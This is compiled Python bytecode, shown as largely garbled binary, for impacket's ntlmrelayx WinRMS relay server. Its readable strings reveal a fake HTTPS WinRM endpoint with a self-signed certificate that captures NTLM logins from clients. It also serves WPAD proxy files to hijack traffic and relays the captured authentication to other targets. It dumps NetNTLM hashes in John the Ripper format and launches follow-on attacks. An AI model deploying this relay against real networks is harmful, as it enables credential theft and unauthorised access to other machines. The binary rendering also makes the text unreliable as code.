o
    àý°j&n  ã                   @   sØ   d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dl	m
Z
 d dlmZmZ d dlZd dlmZ d dlmZmZ d dlmZmZ d dlmZmZ d dlmZ d d	lmZ d d
lmZ G dd„ de
ƒZ dS )é    N)ÚThread)ÚPY2Úb)Úcrypto)ÚntlmÚLOG)ÚoutputToJohnFormatÚwriteJohnOutputToFile)ÚSTATUS_ACCESS_DENIEDÚSTATUS_SUCCESS)ÚTargetsProcessor)ÚactiveConnections)Úget_addressc                   @   sF   e Zd ZG dd„ dejejƒZG dd„ dejj	ƒZ
dd„ Zdd„ Zd	S )
ÚWinRMSRelayServerc                   @   s   e Zd Zdd„ ZdS )zWinRMSRelayServer.HTTPServerc           	      C   sD  || _ d| _t|d |d | j jƒ\| _}i | _dtj_tj 	| ||¡ t
 ¡ }| t
jd¡ t
 ¡ }d| ¡ _| t dd¡¡ | d¡ | d¡ | | ¡ ¡ | |¡ | |d¡ tjd	d
�}tjd	d
�}| t
 t
j|¡¡ | t
 t
j|¡¡ | ¡  | ¡  t  !t j"¡}|j#|j$|j$d� || _%|j&| j'dd�| _'d S )NTr   é   i   Ú	localhosti † i ÌÚsha256F)Údelete)ÚcertfileÚkeyfile)Úserver_side)(ÚconfigÚdaemon_threadsr   Úipv6Úaddress_familyÚwpad_countersÚsocketserverÚ	TCPServerÚallow_reuse_addressÚ__init__r   ÚPKeyÚgenerate_keyÚTYPE_RSAÚX509Úget_subjectÚCNÚset_serial_numberÚrandomÚrandintÚgmtime_adj_notBeforeÚgmtime_adj_notAfterÚ
set_issuerÚ
set_pubkeyÚsignÚtempfileÚNamedTemporaryFileÚwriteÚdump_certificateÚFILETYPE_PEMÚdump_privatekeyÚcloseÚsslÚ
SSLContextÚPROTOCOL_TLS_SERVERÚload_cert_chainÚnameÚssl_contextÚwrap_socketÚsocket)	ÚselfÚserver_addressÚRequestHandlerClassr   ÚkeyÚcertÚ	cert_fileÚkey_fileÚcontext© rE   ú©/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/winrmsrelayserver.pyr   )   s4   



z%WinRMSRelayServer.HTTPServer.__init__N)Ú__name__Ú
__module__Ú__qualname__r   rE   rE   rE   rF   Ú
HTTPServer(   s    rJ   c                   @   sÜ   e Zd Zdd„ Zdd„ Zdd„ Zd6dd	„Zd
d„ Zdd„ Zdd„ Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ Zdd„ Zd7dd„Zd8d d!„Zd"d#„ Zd$d%„ Zd&d'„ Zd(d)„ Zd*d+„ Zd,d-„ Zd.d/„ Zd0d1„ Zd6d2d3„Zd4d5„ ZdS )9zWinRMSRelayServer.HTTPHandlerc              
   C   sø   |j | _d| _d| _|| _d| _d | _d | _d | _d | _	d | _
d | _d | _d| _d| _d| _d| _| jjjdkrK| jjjd u rKtd	|d  d
�| jj_ztjj | |||¡ W d S  ty{ } ztjddd� t dt|ƒ ¡ W Y d }~d S d }~ww )NzMicrosoft-HTTPAPI/2.0Ú zHTTP/1.1FTr   zØfunction FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ÚREDIRECTzSMB://%s:445/)ÚsingleTargetú(WinRMS): Exception:©Úexc_infoú(WinRMS): %s)r:   Útls_contextÚserver_versionÚsys_versionÚserverÚprotocol_versionÚchallengeMessageÚtargetÚclientÚmachineAccountÚmachineHashesÚdomainIpÚauthUserÚrelayToHostÚ
isFirstNegÚnegotiation_countÚwpadr   Úmoder   ÚhttpÚSimpleHTTPRequestHandlerr   Ú	Exceptionr   ÚdebugÚerrorÚstr)r=   ÚrequestÚclient_addressrU   ÚerE   rE   rF   r   K   s4    €þz&WinRMSRelayServer.HTTPHandler.__init__c              
   C   sX   z
t jj | ¡ W d S  ty   ‚  ty+ } ztjddd� W Y d }~d S d }~ww )NrN   TrO   )rc   rU   rd   Úhandle_one_requestÚKeyboardInterruptre   r   rf   )r=   rk   rE   rE   rF   rl   i   s   €ÿz0WinRMSRelayServer.HTTPHandler.handle_one_requestc                 G   s   d S ©NrE   )r=   ÚformatÚargsrE   rE   rF   Úlog_messageq   s   z)WinRMSRelayServer.HTTPHandler.log_messageNc                 C   sF   |  d¡dks|  d¡rt d| j ¡  ¡ |  ¡ S tjj 	| ||¡S )NÚRPC_OUTr   ÚRPC_INz(WinRMS): send_error path: %s)
Úfindr   ÚinfoÚpathÚlowerÚdo_GETrc   rU   rd   Ú
send_error)r=   ÚcodeÚmessagerE   rE   rF   ry   t   s   z(WinRMSRelayServer.HTTPHandler.send_errorc                 C   sF   |   d¡ |  dd¡ |  dd¡ |  dd¡ |  dd	¡ |  ¡  d S )
Ni”  úWWW-AuthenticateÚ	NegotiateúContent-typeú	text/htmlúContent-LengthÚ0Ú
Connectionr4   ©Úsend_responseÚsend_headerÚend_headers©r=   rE   rE   rF   Úsend_not_foundz   s   
z,WinRMSRelayServer.HTTPHandler.send_not_foundc                 C   sP   |   dd¡ |  dd¡ |  dtt|ƒƒ¡ |  dd¡ |  ¡  | j |¡ d S )NéÏ   zMulti-StatuszContent-Typezapplication/xmlr€   r‚   r4   )r„   r…   rh   Úlenr†   Úwfiler0   )r=   ÚcontentrE   rE   rF   Úsend_multi_status‚   s   z/WinRMSRelayServer.HTTPHandler.send_multi_statusc                 C   s\   | j | jjj| jjjf }|  d¡ |  dd¡ |  dt|ƒ¡ |  ¡  | j 	t
|ƒ¡ d S )NéÈ   r~   z!application/x-ns-proxy-autoconfigr€   )ra   rU   r   Ú	wpad_hostr„   r…   rŠ   r†   r‹   r0   r   )r=   ÚwpadResponserE   rE   rF   Ú
serve_wpadŠ   s   
z(WinRMSRelayServer.HTTPHandler.serve_wpadc                 C   sN   z| j j| }W n ty   d}Y nw |d | j j|< || j jjkr%dS dS )Nr   r   TF)rU   r   ÚKeyErrorr   Úwpad_auth_num)r=   rY   ÚnumrE   rE   rF   Úshould_serve_wpad“   s   ÿz/WinRMSRelayServer.HTTPHandler.should_serve_wpadc                 C   s~   t | jjjdƒ�-}| ¡ }|  dd¡ |  dd¡ |  dtt|ƒƒ¡ |  	¡  | j
 |¡ W d   ƒ d S 1 s8w   Y  d S )NÚrbrŽ   ÚOKr~   z
image/jpegr€   )ÚopenrU   r   Úserve_imageÚreadr„   r…   rh   rŠ   r†   r‹   r0   )r=   ÚimgFileÚimgFile_datarE   rE   rF   r™       s   "úz)WinRMSRelayServer.HTTPHandler.serve_imagec           	      C   s.  t r|r| j d¡}n| j d¡}n|r| j d¡}n| j d¡}|r'|d u s-|s<|d u r<| jd|d� d}d }||fS |rA|}n|}z#z	| d¡\}}W n ty]   | d¡\}}Y nw t | 	¡ ¡}W n t
y€   tjdd	d
� | jd|d� Y ||fS w t d|tdƒtdƒd … ¡d }||fS )NzProxy-AuthorizationÚAuthorizations   NTLM©r{   Úproxyr   ÚNTLMr}   rN   TrO   z<LzNTLMSSP é   )r   ÚheadersÚ	getheaderÚgetÚdo_AUTHHEADÚsplitÚ
ValueErrorÚbase64Ú	b64decodeÚstripre   r   rf   ÚstructÚunpackrŠ   )	r=   rŸ   ÚproxyAuthHeaderÚautorizationHeaderÚmessageTypeÚtokenÚtypeXÚ_ÚblobrE   rE   rF   Ú
strip_blob©   s:   ðÿû$z(WinRMSRelayServer.HTTPHandler.strip_blobc                 C   s"   |   d¡ |  dd¡ |  ¡  d S )NrŽ   r~   r   rƒ   r‡   rE   rE   rF   Údo_HEADÌ   s   
z%WinRMSRelayServer.HTTPHandler.do_HEADc                 C   s:   |   d¡ |  dd¡ |  dd¡ |  dd¡ |  ¡  d S )NrŽ   ÚAllowz[GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPYr€   r�   r‚   r4   rƒ   r‡   rE   rE   rF   Ú
do_OPTIONSÑ   s   
ÿz(WinRMSRelayServer.HTTPHandler.do_OPTIONSc                 C   sj   d}d| j v sd| j v rd}nd}|  |¡\}}| jdu r+| jjjs+|  |||¡ d S |  ||||¡ d S )NFz.jpgz.JPGso  <?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>sL  <?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>)rv   r´   r^   rU   r   ÚdisableMultiÚdo_local_authÚdo_relay)r=   rŸ   rŒ   r°   r¯   rE   rE   rF   Údo_PROPFINDÚ   s   z)WinRMSRelayServer.HTTPHandler.do_PROPFINDó    Fc                 C   sb   |r|   d¡ |  d| d¡¡ n|   d¡ |  d| d¡¡ |  dd¡ |  dd	¡ |  ¡  d S )
Ni—  úProxy-Authenticatezutf-8i‘  r|   r€   r�   r‚   ú
keep-alive)r„   r…   Údecoder†   )r=   r{   rŸ   rE   rE   rF   r¥   ë   s   

z)WinRMSRelayServer.HTTPHandler.do_AUTHHEADc                 C   st   d  dd„ tdƒD ƒ¡}|  d¡ |r|  dd¡ n|  dd	¡ |  d
d¡ |  dd| ¡ |  dd¡ |  ¡  d S )NrK   c                 s   s"   � | ]}t  tjtj ¡V  qd S rn   )r'   ÚchoiceÚstringÚascii_uppercaseÚdigits©Ú.0r²   rE   rE   rF   Ú	<genexpr>ù   s   €  z<WinRMSRelayServer.HTTPHandler.do_REDIRECT.<locals>.<genexpr>é
   i3  r½   r    r|   r}   r‚   r¾   ÚLocationz/%sr€   r�   )ÚjoinÚranger„   r…   r†   )r=   rŸ   ÚrstrrE   rE   rF   Údo_REDIRECTø   s   
z)WinRMSRelayServer.HTTPHandler.do_REDIRECTc                 C   sP   |   d¡ |  dd¡ |  dd| jjj ¡ |  dd¡ |  dd	¡ |  ¡  d S )
Ni.  r~   r   rÈ   z	file://%sr€   r�   r‚   r4   )r„   r…   rU   r   Úredirecthostr†   r‡   rE   rE   rF   Údo_SMBREDIRECT  s   
z,WinRMSRelayServer.HTTPHandler.do_SMBREDIRECTc                 C   ó   |   ¡ S rn   ©Ú
do_GETPOSTr‡   rE   rE   rF   rx     ó   z$WinRMSRelayServer.HTTPHandler.do_GETc                 C   rÏ   rn   rÐ   r‡   rE   rE   rF   Údo_POST  rÒ   z%WinRMSRelayServer.HTTPHandler.do_POSTc                 C   s$   d}|   |¡\}}|  |||¡ d S ©NT)r´   rº   )r=   rŸ   r°   r¯   rE   rE   rF   Ú
do_CONNECT  s   z(WinRMSRelayServer.HTTPHandler.do_CONNECTc                 C   sÌ   | j dkrd| j ¡ v rt| j dd¡ƒ}| j |¡ nt 	d| j ¡  ¡ |  
¡  d S t| jƒdkrA| jd d…  ¡ dkrAd}nd	}|  |¡\}}| jd	u r]| jjjs]|  |||¡ d S |  |||¡ d S )
NÚPOSTz/wsmanr€   r   z#(WinRMS): Client requested path: %sr¡   rc   TF)Úcommandrv   rw   Úintr¢   r¤   Úrfilerš   r   ru   rˆ   rŠ   r´   r^   rU   r   r¸   r¹   rº   )r=   Úcontent_lengthrŸ   r°   r¯   rE   rE   rF   rÑ     s   $z(WinRMSRelayServer.HTTPHandler.do_GETPOSTc                 C   s  | j j ¡ | jjjv rk| jjj| j j ¡  | jj| j ƒ| _| j ¡ s$dS | jdkr+dS |  jd7  _| j 	|¡| _
| jjjrct | j
d ¡}|tj= | ¡ | j
d< t| ¡ ƒ| j
d< t| ¡ ƒ| j
d< | j
du rjdS nt d| j j ¡  ¡ dS | jdt | j
 ¡ ¡ |d� d	S )
NFr   ÚTargetInfoFieldsÚTargetInfoFields_lenÚTargetInfoFields_max_lenz+(WinRMS): Protocol Client for %s not found!s   NTLM rž   T)rX   ÚschemeÚupperrU   r   ÚprotocolClientsrY   ÚinitConnectionr`   ÚsendNegotiaterW   Úremove_targetr   ÚAV_PAIRSÚNTLMSSP_AV_HOSTNAMEÚgetDatarŠ   r   rg   r¥   r¨   Ú	b64encode)r=   r°   rŸ   Úav_pairsrE   rE   rF   Údo_ntlm_negotiate6  s*   $



ÿz/WinRMSRelayServer.HTTPHandler.do_ntlm_negotiatec                 C   s>   |d dks| j jdkr| j |¡\}}nt}|tkrdS dS )NÚ	user_namerK   z	127.0.0.1TF)rX   ÚhostnamerY   ÚsendAuthr
   r   )r=   r°   ÚauthenticateMessageÚclientResponseÚ	errorCoderE   rE   rF   Údo_ntlm_authV  s   z*WinRMSRelayServer.HTTPHandler.do_ntlm_authc                 C   sN  |dkr©t  ¡ }| |¡ d}|d t j@ r|t jO }|d t j@ r'|t jO }|d t j@ r3|t jO }|d t j@ r?|t jO }|d t j@ rK|t jO }|d t j@ rW|t jO }|t j	t j
B t jB t jB O }t  ¡ }||d< d|d< d dd„ tdƒD ƒ¡|d	< t  ¡ |d
< d|d< d|d< d|d< d|d< d|d< | jdt | ¡ ¡ |d� d S |dk�r%t  ¡ }| |¡ |d t j@ rÒd|d  d¡|d  d¡f  ¡ | _nd|d  d¡|d  d¡f  ¡ | _| jjjj| jd�| _| jd u �r	t d| j| jd f ¡ |   ¡  d S t d| j| jd | jj!| jj"f ¡ d| _#|  $¡  d S d S )Nr   r   ÚflagsrK   Údomain_namec                 s   s   � | ]	}t  tj¡V  qd S rn   )r'   rÀ   rÁ   Ú	printablerÄ   rE   rE   rF   rÆ   z  s   € z>WinRMSRelayServer.HTTPHandler.do_local_auth.<locals>.<genexpr>é@   Ú	challengerÛ   rÜ   rÝ   é8   ÚTargetInfoFields_offsets   ÿÿÿÿÿÿÿÿÚVersioné   Ú
VersionLens
   Negotiate rž   é   ú%s/%súutf-16lerê   Úascii©ÚidentityúO(WinRMS): Connection from %s@%s controlled, but there are no more targets left!úD(WinRMS): Connection from %s@%s controlled, attacking target %s://%sT)%r   ÚNTLMAuthNegotiateÚ
fromStringÚNTLMSSP_NEGOTIATE_56ÚNTLMSSP_NEGOTIATE_128ÚNTLMSSP_NEGOTIATE_KEY_EXCHÚ*NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITYÚNTLMSSP_NEGOTIATE_UNICODEÚNTLM_NEGOTIATE_OEMÚNTLMSSP_NEGOTIATE_VERSIONÚNTLMSSP_NEGOTIATE_TARGET_INFOÚNTLMSSP_TARGET_TYPE_SERVERÚNTLMSSP_NEGOTIATE_NTLMÚNTLMAuthChallengerÉ   rÊ   rä   r¥   r¨   rç   ræ   ÚNTLMAuthChallengeResponser¿   rß   r]   rU   r   rX   Ú	getTargetr   ru   rj   rˆ   rÞ   Únetlocr^   rÌ   )r=   r¯   r°   rŸ   ÚnegotiateMessageÚansFlagsrW   rí   rE   rE   rF   r¹   a  sp   






ÿÿ

ÿÿÿÿ&ìz+WinRMSRelayServer.HTTPHandler.do_local_authc                 C   sd  |dkr£| j jjr9| j jjjdd�| _| jd u r(t d| jd  ¡ |  ¡  d S t d| jd | jj	| jj
f ¡ | j||d�s¡| j jjrXt d| jj	| jj
f ¡ |  ¡  d S t d	| jj	| jj
f ¡ | j jjj| jd
�| _| jd u rˆt d| j| jd f ¡ |  ¡  d S t d| j| jd | jj	| jj
f ¡ |  ¡  d S d S |dk�r0t ¡ }| |¡ | j jjrô|d tj@ rÑd|d  d¡|d  d¡f  ¡ | _nd|d  d¡|d  d¡f  ¡ | _d| jj	| j dd¡| jj
f }|  ||¡�sct d| jj	| jj
| jf ¡ | j jj�r|  ¡  d S |d dk�rZ| j jjj| jd
�| _| jd u �rAt d| j| jd f ¡ |  ¡  d S t d| j| jd | jj	| jj
f ¡ |  ¡  d S | jd|d� d S | j ¡  t d| j| jd | jj	| jj
| jjf ¡ t| jd |d |d |d |d ƒ}|| jjd< | j jjd u�r¬t|d |d  | j jjƒ | j jj d!u �r½t d"|d  ¡ |  !¡  | j jj�rÚ| j"d#k�rÔ|  #|¡ d S |  ¡  d S | j jjj| jd
�| _| jd u �rt d| j| jd f ¡ | j"d#k�r|  #|¡ d S | j jj$�r|  $¡  d S |  ¡  d S t d| j| jd | jj	| jj
f ¡ |  ¡  d S d S )$Nr   F)Ú
multiRelayzL(WinRMS): Connection from %s controlled, but there are no more targets left!r   zA(WinRMS): Connection from %s controlled, attacking target %s://%s)rŸ   z.(WinRMS): Negotiating NTLM with %s://%s failedzG(WinRMS): Negotiating NTLM with %s://%s failed. Skipping to next targetrÿ   r  r  rû   rñ   rü   rò   rý   rê   rþ   z
%s://%s@%sú/ú\z5(WinRMS): Authenticating against %s://%s as %s FAILEDrK   s	   NegotiatezK(WinRMS): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]rõ   Úlanmanr   ÚJOHN_OUTPUTÚhash_stringÚhash_versionTrQ   ÚPROPFIND)%rU   r   r¸   rX   r  r   ru   rj   rˆ   rÞ   r  ré   rg   r]   rÌ   r   r  r  r	  r¿   rß   Úreplacerð   r¥   rY   ÚsetClientIdÚ	client_idr   rW   ÚsessionDataÚ
outputFiler	   Ú
dumpHashesÚ	do_attackr×   r�   r™   )r=   r¯   r°   rŸ   rŒ   rí   rX   Úntlm_hash_datarE   rE   rF   rº   ›  s²   

"

&î


ÿÿÿÿ ÿ&
,
ýÿ
ÿ
&ªz&WinRMSRelayServer.HTTPHandler.do_relayc                 C   sÀ   | j jjr*| jj ¡ | j jjjv r*t 	| jj
| jj| jj ¡ | j| j| jjf¡ d S | jj ¡ | j jjv rS| j jj| jj ¡  | j j| jj| j| j| jƒ}| ¡  d S t d| jj ¡  ¡ d S )Nz%(WinRMS): No attack configured for %s)rU   r   ÚrunSocksrX   rÞ   rß   ÚsocksServerÚsupportedSchemesr   Úputrë   rY   Ú
targetPortr]   r   ÚattacksÚsessionÚstartr   rg   )r=   ÚclientThreadrE   rE   rF   r#    s   "ÿ ÿz'WinRMSRelayServer.HTTPHandler.do_attackrn   )r¼   F)F)rG   rH   rI   r   rl   rq   ry   rˆ   r�   r‘   r•   r™   r´   rµ   r·   r»   r¥   rÌ   rÎ   rx   rÓ   rÕ   rÑ   ré   rð   r¹   rº   r#  rE   rE   rE   rF   ÚHTTPHandlerJ   s4    
		#	

	 
:wr.  c                 C   s&   t  | ¡ d| _|| _d | _d | _d S rÔ   )r   r   Údaemonr   rU   Úhttpport)r=   r   rE   rE   rF   r   #  s
   

zWinRMSRelayServer.__init__c                 C   s|   | j jsd| j _t d| j j ¡ |  | j j| j jf| j| j ¡| _z| j ¡  W n	 t	y1   Y nw t d¡ | j 
¡  d S )Nib  z+Setting up WinRMS (HTTPS) Server on port %sz#Shutting down WinRMS (HTTPS) Server)r   ÚlisteningPortr   ru   rJ   ÚinterfaceIpr.  rU   Úserve_foreverrm   Úserver_closer‡   rE   rE   rF   Úrun*  s    ÿ
zWinRMSRelayServer.runN)rG   rH   rI   r   ÚThreadingMixInr   rJ   rc   rU   rd   r.  r   r5  rE   rE   rE   rF   r   &   s    "   \r   )!r5   Úhttp.serverrc   r   r<   r¨   r'   r«   rÁ   Ú	threadingr   Úsixr   r   r.   ÚOpenSSLr   Úimpacketr   r   Úimpacket.smbserverr   r	   Úimpacket.nt_errorsr
   r   Ú/impacket.examples.ntlmrelayx.utils.targetsutilsr   Ú0impacket.examples.ntlmrelayx.servers.socksserverr   Úimpacket.examples.utilsr   r   rE   rE   rE   rF   Ú<module>   s&   